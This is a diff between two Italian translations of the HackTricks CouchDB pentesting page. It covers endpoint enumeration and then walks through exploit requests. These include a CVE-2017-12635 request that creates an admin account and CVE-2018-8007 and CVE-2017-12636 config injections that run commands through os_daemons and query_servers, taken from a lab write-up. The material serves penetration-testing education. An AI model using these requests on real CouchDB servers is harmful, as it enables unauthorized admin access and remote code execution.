||||||
curl http://IP:5984/
|
curl http://IP:5984/
|
||||||
```
|
```
|
||||||
Questo invia una richiesta GET all'istanza di CouchDB installata. La risposta dovrebbe assomigliare a una delle seguenti:
|
Questo emette una richiesta GET all'istanza CouchDB installata. La risposta dovrebbe apparire simile a una delle seguenti:
|
||||||
```bash
|
```bash
|
||||||
{"couchdb":"Welcome","version":"0.10.1"}
|
{"couchdb":"Welcome","version":"0.10.1"}
|
||||||
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
|
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Nota che se accedi alla root di CouchDB riceverai un `401 Unauthorized` con qualcosa del genere: `{"error":"unauthorized","reason":"Authentication required."}` **non sarai in grado di accedere** al banner o a qualsiasi altro endpoint.
|
Nota che se accedendo alla radice di couchdb ricevi un `401 Unauthorized` con qualcosa del genere: `{"error":"unauthorized","reason":"Authentication required."}` **non sarai in grado di accedere** al banner o a qualsiasi altro endpoint.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Enumerazione delle informazioni
|
### Info Enumeration
|
||||||
|
|
||||||
Questi sono gli endpoint a cui puoi accedere con una richiesta **GET** ed estrarre alcune informazioni interessanti. Puoi trovare [**altri endpoint e descrizioni più dettagliate nella documentazione di CouchDB**](https://docs.couchdb.org/en/latest/api/index.html).
|
Questi sono gli endpoint a cui puoi accedere con una **GET** richiesta ed estrarre alcune informazioni interessanti. Puoi trovare [**ulteriori endpoint e descrizioni più dettagliate nella documentazione di couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
|
||||||
|
|
||||||
* **`/_active_tasks`** Elenco delle attività in esecuzione, inclusi il tipo di attività, il nome, lo stato e l'ID del processo.
|
* **`/_active_tasks`** Elenco dei task in esecuzione, inclusi il tipo di task, nome, stato e ID processo.
|
||||||
* **`/_all_dbs`** Restituisce un elenco di tutti i database nell'istanza di CouchDB.
|
* **`/_all_dbs`** Restituisce un elenco di tutti i database nell'istanza CouchDB.
|
||||||
* **`/_cluster_setup`** Restituisce lo stato del nodo o del cluster, secondo la configurazione del cluster.
|
* **`/_cluster_setup`** Restituisce lo stato del nodo o del cluster, secondo la procedura guidata di configurazione del cluster.
|
||||||
* **`/_db_updates`** Restituisce un elenco di tutti gli eventi del database nell'istanza di CouchDB. L'esistenza del database `_global_changes` è necessaria per utilizzare questo endpoint.
|
* **`/_db_updates`** Restituisce un elenco di tutti gli eventi del database nell'istanza CouchDB. L'esistenza del database `_global_changes` è necessaria per utilizzare questo endpoint.
|
||||||
* **`/_membership`** Mostra i nodi che fanno parte del cluster come `cluster_nodes`. Il campo `all_nodes` mostra tutti i nodi conosciuti da questo nodo, inclusi quelli che fanno parte del cluster.
|
* **`/_membership`** Mostra i nodi che fanno parte del cluster come `cluster_nodes`. Il campo `all_nodes` mostra tutti i nodi di cui questo nodo è a conoscenza, inclusi quelli che fanno parte del cluster.
|
||||||
* **`/_scheduler/jobs`** Elenco dei lavori di replica. Ogni descrizione del lavoro includerà informazioni sulla sorgente e sul target, l'ID della replica, un elenco degli eventi recenti e altre informazioni.
|
* **`/_scheduler/jobs`** Elenco dei lavori di replicazione. Ogni descrizione del lavoro includerà informazioni su sorgente e destinazione, ID replicazione, una cronologia degli eventi recenti e alcune altre informazioni.
|
||||||
* **`/_scheduler/docs`** Elenco degli stati dei documenti di replica. Include informazioni su tutti i documenti, anche negli stati `completed` e `failed`. Per ogni documento restituisce l'ID del documento, il database, l'ID della replica, la sorgente e il target, e altre informazioni.
|
* **`/_scheduler/docs`** Elenco degli stati dei documenti di replicazione. Include informazioni su tutti i documenti, anche in stati `completed` e `failed`. Per ogni documento restituisce l'ID del documento, il database, l'ID di replicazione, sorgente e destinazione, e altre informazioni.
|
||||||
* **`/_scheduler/docs/{replicator_db}`**
|
* **`/_scheduler/docs/{replicator_db}`**
|
||||||
* **`/_scheduler/docs/{replicator_db}/{docid}`**
|
* **`/_scheduler/docs/{replicator_db}/{docid}`**
|
||||||
* **`/_node/{node-name}`** L'endpoint `/_node/{node-name}` può essere utilizzato per confermare il nome del nodo Erlang del server che elabora la richiesta. Questo è particolarmente utile quando si accede a `/_node/_local` per recuperare queste informazioni.
|
* **`/_node/{node-name}`** L'endpoint `/_node/{node-name}` può essere utilizzato per confermare il nome del nodo Erlang del server che elabora la richiesta. Questo è particolarmente utile quando si accede a `/_node/_local` per recuperare queste informazioni.
|
||||||
* **`/_node/{node-name}/_stats`** La risorsa `_stats` restituisce un oggetto JSON contenente le statistiche del server in esecuzione. La stringa letterale `_local` funge da alias per il nome del nodo locale, quindi per tutte le URL delle statistiche, `{node-name}` può essere sostituito con `_local`, per interagire con le statistiche del nodo locale.
|
* **`/_node/{node-name}/_stats`** La risorsa `_stats` restituisce un oggetto JSON contenente le statistiche per il server in esecuzione. La stringa letterale `_local` funge da alias per il nome del nodo locale, quindi per tutti gli URL delle statistiche, `{node-name}` può essere sostituito con `_local`, per interagire con le statistiche del nodo locale.
|
||||||
* **`/_node/{node-name}/_system`** La risorsa `_system` restituisce un oggetto JSON contenente varie statistiche di livello di sistema per il server in esecuzione. Puoi utilizzare `_local` come `{node-name}` per ottenere le informazioni sul nodo corrente.
|
* **`/_node/{node-name}/_system`** La risorsa \_system restituisce un oggetto JSON contenente varie statistiche a livello di sistema per il server in esecuzione\_.\_ Puoi usare \_\_`_local` come {node-name} per ottenere informazioni sul nodo corrente.
|
||||||
* **`/_node/{node-name}/_restart`**
|
* **`/_node/{node-name}/_restart`**
|
||||||
* **`/_up`** Conferma che il server è attivo, in esecuzione e pronto a rispondere alle richieste. Se [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) è `true` o `nolb`, l'endpoint restituirà una risposta 404.
|
* **`/_up`** Conferma che il server è attivo, in esecuzione e pronto a rispondere alle richieste. Se [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) è `true` o `nolb`, l'endpoint restituirà una risposta 404.
|
||||||
* **`/_uuids`** Richiede uno o più Identificatori Unici Universali (UUID) dall'istanza di CouchDB.
|
* **`/_uuids`** Richiede uno o più Identificatori Universali Unici (UUID) dall'istanza CouchDB.
|
||||||
* **`/_reshard`** Restituisce il conteggio dei lavori completati, falliti, in esecuzione, fermati e totali insieme allo stato del ridimensionamento del cluster.
|
* **`/_reshard`** Restituisce un conteggio dei lavori completati, falliti, in esecuzione, fermati e totali insieme allo stato di resharding sul cluster.
|
||||||
|
|
||||||
Altre informazioni interessanti possono essere estratte come spiegato qui: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
|
Ulteriori informazioni interessanti possono essere estratte come spiegato qui: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
|
||||||
|
|
||||||
### **Elenco dei database**
|
### **Database List**
|
||||||
```
|
```
|
||||||
curl -X GET http://IP:5984/_all_dbs
|
curl -X GET http://IP:5984/_all_dbs
|
||||||
```
|
```
|
||||||
Se la richiesta risponde con un **401 non autorizzato**, allora hai bisogno di delle **credenziali valide** per accedere al database:
|
Se quella richiesta **risponde con un 401 non autorizzato**, allora hai bisogno di alcune **credenziali valide** per accedere al database:
|
||||||
```
|
```
|
||||||
curl -X GET http://user:password@IP:5984/_all_dbs
|
curl -X GET http://user:password@IP:5984/_all_dbs
|
||||||
```
|
```
|
||||||
Per trovare credenziali valide potresti **provare a** [**forzare il servizio**](../generic-methodologies-and-resources/brute-force.md#couchdb).
|
Per trovare credenziali valide, potresti **provare a** [**forzare il servizio**](../generic-methodologies-and-resources/brute-force.md#couchdb).
|
||||||
|
|
||||||
Questo è un **esempio** di una **risposta** di couchdb quando hai **privilegi sufficienti** per elencare i database (È solo un elenco di dbs):
|
Questo è un **esempio** di una **risposta** di couchdb quando hai **sufficienti privilegi** per elencare i database (È solo un elenco di db):
|
||||||
```bash
|
```bash
|
||||||
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
|
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
|
||||||
```
|
```
|
||||||
### Informazioni sul database
|
### Database Info
|
||||||
|
|
||||||
È possibile ottenere alcune informazioni sul database (come il numero di file e le dimensioni) accedendo al nome del database:
|
Puoi ottenere alcune informazioni sul database (come il numero di file e le dimensioni) accedendo al nome del database:
|
||||||
```bash
|
```bash
|
||||||
curl http://IP:5984/<database>
|
curl http://IP:5984/<database>
|
||||||
curl http://localhost:5984/simpsons
|
curl http://localhost:5984/simpsons
|
||||||
#Example response:
|
#Example response:
|
||||||
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
|
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
|
||||||
```
|
```
|
||||||
### **Elenco dei documenti**
|
### **Elenco Documenti**
|
||||||
|
|
||||||
Elencare ogni voce all'interno di un database
|
Elenca ogni voce all'interno di un database
|
||||||
```bash
|
```bash
|
||||||
curl -X GET http://IP:5984/{dbname}/_all_docs
|
curl -X GET http://IP:5984/{dbname}/_all_docs
|
||||||
curl http://localhost:5984/simpsons/_all_docs
|
curl http://localhost:5984/simpsons/_all_docs
|
||||||
|
@ -147,9 +118,9 @@ curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
|
||||||
#Example response:
|
#Example response:
|
||||||
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
|
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
|
||||||
```
|
```
|
||||||
## Escalazione dei privilegi di CouchDB [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
|
## CouchDB Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
|
||||||
|
|
||||||
Grazie alle differenze tra i parser JSON di Erlang e JavaScript, è possibile **creare un utente amministratore** con le credenziali `hacktricks:hacktricks` con la seguente richiesta:
|
Grazie alle differenze tra i parser JSON di Erlang e JavaScript, potresti **creare un utente admin** con le credenziali `hacktricks:hacktricks` con la seguente richiesta:
|
||||||
```bash
|
```bash
|
||||||
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
|
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
|
||||||
```
|
```
|
||||||
|
@ -157,28 +128,28 @@ curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[]
|
||||||
|
|
||||||
## CouchDB RCE
|
## CouchDB RCE
|
||||||
|
|
||||||
### **Panoramica sulla sicurezza dei cookie Erlang**
|
### **Panoramica sulla Sicurezza del Cookie Erlang**
|
||||||
|
|
||||||
Esempio [da qui](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
Esempio [da qui](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||||
|
|
||||||
Nella documentazione di CouchDB, nello specifico nella sezione riguardante la configurazione del cluster ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), viene discusso l'utilizzo delle porte da parte di CouchDB in modalità cluster. Viene menzionato che, come nella modalità standalone, viene utilizzata la porta `5984`. Inoltre, la porta `5986` è destinata alle API locali del nodo e, in modo importante, Erlang richiede la porta TCP `4369` per il demone del mappatore delle porte Erlang (EPMD), che facilita la comunicazione tra i nodi all'interno di un cluster Erlang. Questa configurazione forma una rete in cui ogni nodo è collegato a ogni altro nodo.
|
Nella documentazione di CouchDB, specificamente nella sezione riguardante la configurazione del cluster ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), si discute dell'uso delle porte da parte di CouchDB in modalità cluster. Si menziona che, come nella modalità standalone, viene utilizzata la porta `5984`. Inoltre, la porta `5986` è per le API locali del nodo e, cosa importante, Erlang richiede la porta TCP `4369` per il Daemon del Mappatore di Porte Erlang (EPMD), facilitando la comunicazione tra i nodi all'interno di un cluster Erlang. Questa configurazione forma una rete in cui ogni nodo è interconnesso con ogni altro nodo.
|
||||||
|
|
||||||
Viene evidenziato un importante avviso di sicurezza riguardante la porta `4369`. Se questa porta è resa accessibile su Internet o su una rete non attendibile, la sicurezza del sistema dipende fortemente da un identificatore univoco noto come "cookie". Questo cookie funge da protezione. Ad esempio, in un elenco di processi, potrebbe essere osservato un cookie chiamato "monster", indicando il suo ruolo operativo nel framework di sicurezza del sistema.
|
Un'importante avvertenza di sicurezza è evidenziata riguardo alla porta `4369`. Se questa porta è resa accessibile su Internet o su qualsiasi rete non affidabile, la sicurezza del sistema dipende fortemente da un identificatore unico noto come "cookie." Questo cookie funge da salvaguardia. Ad esempio, in un dato elenco di processi, potrebbe essere osservato il cookie chiamato "monster", indicando il suo ruolo operativo nel framework di sicurezza del sistema.
|
||||||
```
|
```
|
||||||
www-data@canape:/$ ps aux | grep couchdb
|
www-data@canape:/$ ps aux | grep couchdb
|
||||||
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
|
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
|
||||||
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
|
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
|
||||||
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
|
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
|
||||||
```
|
```
|
||||||
Per coloro interessati a capire come questo "cookie" possa essere sfruttato per l'esecuzione remota di codice (RCE) nel contesto dei sistemi Erlang, è disponibile una sezione dedicata per ulteriori approfondimenti. Essa dettaglia le metodologie per sfruttare i cookie Erlang in modo non autorizzato al fine di ottenere il controllo sui sistemi. Puoi **[esplorare la guida dettagliata sull'abuso dei cookie Erlang per RCE qui](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
|
Per coloro che sono interessati a comprendere come questo "cookie" possa essere sfruttato per l'Esecuzione Remota di Codice (RCE) nel contesto dei sistemi Erlang, è disponibile una sezione dedicata per ulteriori letture. Essa dettaglia le metodologie per sfruttare i cookie Erlang in modi non autorizzati per ottenere il controllo sui sistemi. Puoi **[esplorare la guida dettagliata sull'abuso dei cookie Erlang per RCE qui](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
|
||||||
|
|
||||||
### **Sfruttare CVE-2018-8007 tramite la modifica di local.ini**
|
### **Sfruttare CVE-2018-8007 attraverso la Modifica di local.ini**
|
||||||
|
|
||||||
Esempio [da qui](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
Esempio [da qui](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||||
|
|
||||||
È stata esplorata una vulnerabilità recentemente divulgata, CVE-2018-8007, che colpisce Apache CouchDB, rivelando che lo sfruttamento richiede le autorizzazioni di scrittura per il file `local.ini`. Sebbene non sia direttamente applicabile al sistema di destinazione iniziale a causa di restrizioni di sicurezza, sono state apportate modifiche per concedere l'accesso in scrittura al file `local.ini` a scopo esplorativo. Sono forniti di seguito passaggi dettagliati ed esempi di codice, che illustrano il processo.
|
Una vulnerabilità recentemente divulgata, CVE-2018-8007, che colpisce Apache CouchDB è stata esplorata, rivelando che lo sfruttamento richiede permessi di scrittura sul file `local.ini`. Sebbene non sia direttamente applicabile al sistema target iniziale a causa di restrizioni di sicurezza, sono state apportate modifiche per concedere accesso in scrittura al file `local.ini` per scopi di esplorazione. Di seguito sono forniti passaggi dettagliati e esempi di codice che dimostrano il processo.
|
||||||
|
|
||||||
Innanzitutto, l'ambiente viene preparato assicurandosi che il file `local.ini` sia scrivibile, verificando i permessi tramite la lista:
|
Innanzitutto, l'ambiente viene preparato assicurandosi che il file `local.ini` sia scrivibile, verificato elencando i permessi:
|
||||||
```bash
|
```bash
|
||||||
root@canape:/home/homer/etc# ls -l
|
root@canape:/home/homer/etc# ls -l
|
||||||
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
|
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
|
||||||
|
@ -186,7 +157,7 @@ root@canape:/home/homer/etc# ls -l
|
||||||
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
|
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
|
||||||
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
|
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
|
||||||
```
|
```
|
||||||
Per sfruttare la vulnerabilità, viene eseguito un comando curl, mirando alla configurazione `cors/origins` in `local.ini`. Questo inietta un nuovo origin insieme a comandi aggiuntivi nella sezione `[os_daemons]`, al fine di eseguire codice arbitrario:
|
Per sfruttare la vulnerabilità, viene eseguito un comando curl, mirato alla configurazione `cors/origins` in `local.ini`. Questo inietta un nuovo origin insieme a comandi aggiuntivi sotto la sezione `[os_daemons]`, con l'obiettivo di eseguire codice arbitrario:
|
||||||
```bash
|
```bash
|
||||||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
|
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
|
||||||
```
|
```
|
||||||
|
@ -199,7 +170,7 @@ root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
||||||
< [os_daemons]
|
< [os_daemons]
|
||||||
< test_daemon = /usr/bin/touch /tmp/0xdf
|
< test_daemon = /usr/bin/touch /tmp/0xdf
|
||||||
```
|
```
|
||||||
Inizialmente, il file previsto (`/tmp/0xdf`) non esiste, indicando che il comando iniettato non è ancora stato eseguito. Ulteriori indagini rivelano che sono in esecuzione processi correlati a CouchDB, incluso uno che potrebbe potenzialmente eseguire il comando iniettato:
|
Inizialmente, il file previsto (`/tmp/0xdf`) non esiste, indicando che il comando iniettato non è stato ancora eseguito. Ulteriori indagini rivelano che i processi relativi a CouchDB sono in esecuzione, incluso uno che potrebbe potenzialmente eseguire il comando iniettato:
|
||||||
```bash
|
```bash
|
||||||
root@canape:/home/homer/bin# ps aux | grep couch
|
root@canape:/home/homer/bin# ps aux | grep couch
|
||||||
```
|
```
|
||||||
|
@ -209,15 +180,15 @@ root@canape:/home/homer/etc# kill 711
|
||||||
root@canape:/home/homer/etc# ls /tmp/0xdf
|
root@canape:/home/homer/etc# ls /tmp/0xdf
|
||||||
/tmp/0xdf
|
/tmp/0xdf
|
||||||
```
|
```
|
||||||
Questa esplorazione conferma la fattibilità dello sfruttamento di CVE-2018-8007 in specifiche condizioni, in particolare la necessità di avere accesso in scrittura al file `local.ini`. Gli esempi di codice forniti e i passaggi procedurali offrono una guida chiara per replicare l'exploit in un ambiente controllato.
|
Questa esplorazione conferma la fattibilità dello sfruttamento di CVE-2018-8007 in condizioni specifiche, in particolare il requisito di accesso in scrittura al file `local.ini`. Gli esempi di codice forniti e i passaggi procedurali offrono una guida chiara per replicare l'exploit in un ambiente controllato.
|
||||||
|
|
||||||
Per ulteriori dettagli su CVE-2018-8007, fare riferimento all'avviso di mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
|
Per ulteriori dettagli su CVE-2018-8007, fare riferimento all'avviso di mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
|
||||||
|
|
||||||
### **Esplorazione di CVE-2017-12636 con permessi di scrittura su local.ini**
|
### **Esplorare CVE-2017-12636 con Permessi di Scrittura su local.ini**
|
||||||
|
|
||||||
Esempio [da qui](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
Esempio [da qui](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||||
|
|
||||||
È stata esplorata una vulnerabilità nota come CVE-2017-12636, che consente l'esecuzione di codice tramite il processo CouchDB, sebbene specifiche configurazioni possano impedirne lo sfruttamento. Nonostante siano disponibili numerosi riferimenti di Proof of Concept (POC) online, sono necessari alcuni aggiustamenti per sfruttare la vulnerabilità nella versione 2 di CouchDB, diversa dalla versione 1.x comunemente presa di mira. I passaggi iniziali prevedono la verifica della versione di CouchDB e la conferma dell'assenza del percorso dei server di query attesi.
|
È stata esplorata una vulnerabilità nota come CVE-2017-12636, che consente l'esecuzione di codice tramite il processo CouchDB, sebbene configurazioni specifiche possano impedire il suo sfruttamento. Nonostante numerosi riferimenti a Proof of Concept (POC) disponibili online, sono necessarie modifiche per sfruttare la vulnerabilità sulla versione 2 di CouchDB, diversa dalla versione 1.x comunemente presa di mira. I passaggi iniziali prevedono la verifica della versione di CouchDB e la conferma dell'assenza del percorso dei server di query previsto:
|
||||||
```bash
|
```bash
|
||||||
curl http://localhost:5984
|
curl http://localhost:5984
|
||||||
curl http://0xdf:df@localhost:5984/_config/query_servers/
|
curl http://0xdf:df@localhost:5984/_config/query_servers/
|
||||||
|
@ -227,29 +198,29 @@ Per adattarsi alla versione 2.0 di CouchDB, viene utilizzato un nuovo percorso:
|
||||||
curl 'http://0xdf:df@localhost:5984/_membership'
|
curl 'http://0xdf:df@localhost:5984/_membership'
|
||||||
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
|
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
|
||||||
```
|
```
|
||||||
I tentativi di aggiungere e invocare un nuovo server di query sono stati bloccati da errori legati ai permessi, come indicato dall'output seguente:
|
I tentativi di aggiungere e invocare un nuovo server di query sono stati accolti con errori relativi ai permessi, come indicato dal seguente output:
|
||||||
```bash
|
```bash
|
||||||
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||||||
```
|
```
|
||||||
Ulteriori indagini hanno rivelato problemi di autorizzazione con il file `local.ini`, che non era scrivibile. Modificando i permessi del file con accesso root o homer, è stato possibile procedere:
|
Ulteriore indagine ha rivelato problemi di autorizzazione con il file `local.ini`, che non era scrivibile. Modificando i permessi del file con accesso root o homer, è stato possibile procedere:
|
||||||
```bash
|
```bash
|
||||||
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
|
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
|
||||||
chmod 666 /home/homer/etc/local.ini
|
chmod 666 /home/homer/etc/local.ini
|
||||||
```
|
```
|
||||||
I successivi tentativi di aggiungere il server di query sono riusciti, come dimostrato dall'assenza di messaggi di errore nella risposta. La modifica riuscita del file `local.ini` è stata confermata tramite confronto dei file:
|
I tentativi successivi di aggiungere il server di query hanno avuto successo, come dimostrato dall'assenza di messaggi di errore nella risposta. La modifica riuscita del file `local.ini` è stata confermata attraverso il confronto dei file:
|
||||||
```bash
|
```bash
|
||||||
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||||||
```
|
```
|
||||||
Il processo è proseguito con la creazione di un database e di un documento, seguito da un tentativo di eseguire del codice tramite una vista personalizzata mappata al nuovo server di query aggiunto:
|
Il processo è continuato con la creazione di un database e di un documento, seguito da un tentativo di eseguire codice tramite una mappatura di vista personalizzata al nuovo server di query aggiunto:
|
||||||
```bash
|
```bash
|
||||||
curl -X PUT 'http://0xdf:df@localhost:5984/df'
|
curl -X PUT 'http://0xdf:df@localhost:5984/df'
|
||||||
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
|
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
|
||||||
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
|
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
|
||||||
```
|
```
|
||||||
Un **[riassunto](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** con un payload alternativo fornisce ulteriori informazioni sull'exploit di CVE-2017-12636 in specifiche condizioni. **Risorse utili** per sfruttare questa vulnerabilità includono:
|
A **[riassunto](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** con un payload alternativo fornisce ulteriori informazioni su come sfruttare CVE-2017-12636 in condizioni specifiche. **Risorse utili** per sfruttare questa vulnerabilità includono:
|
||||||
|
|
||||||
- [Codice di exploit POC](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
|
- [Codice di exploit POC](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
|
||||||
- [Voce nel database degli exploit](https://www.exploit-db.com/exploits/44913/)
|
- [Voce nel Database Exploit](https://www.exploit-db.com/exploits/44913/)
|
||||||
|
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
|
@ -260,16 +231,17 @@ Un **[riassunto](https://github.com/carlospolop/hacktricks/pull/116/commits/e505
|
||||||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||||||
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
|
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
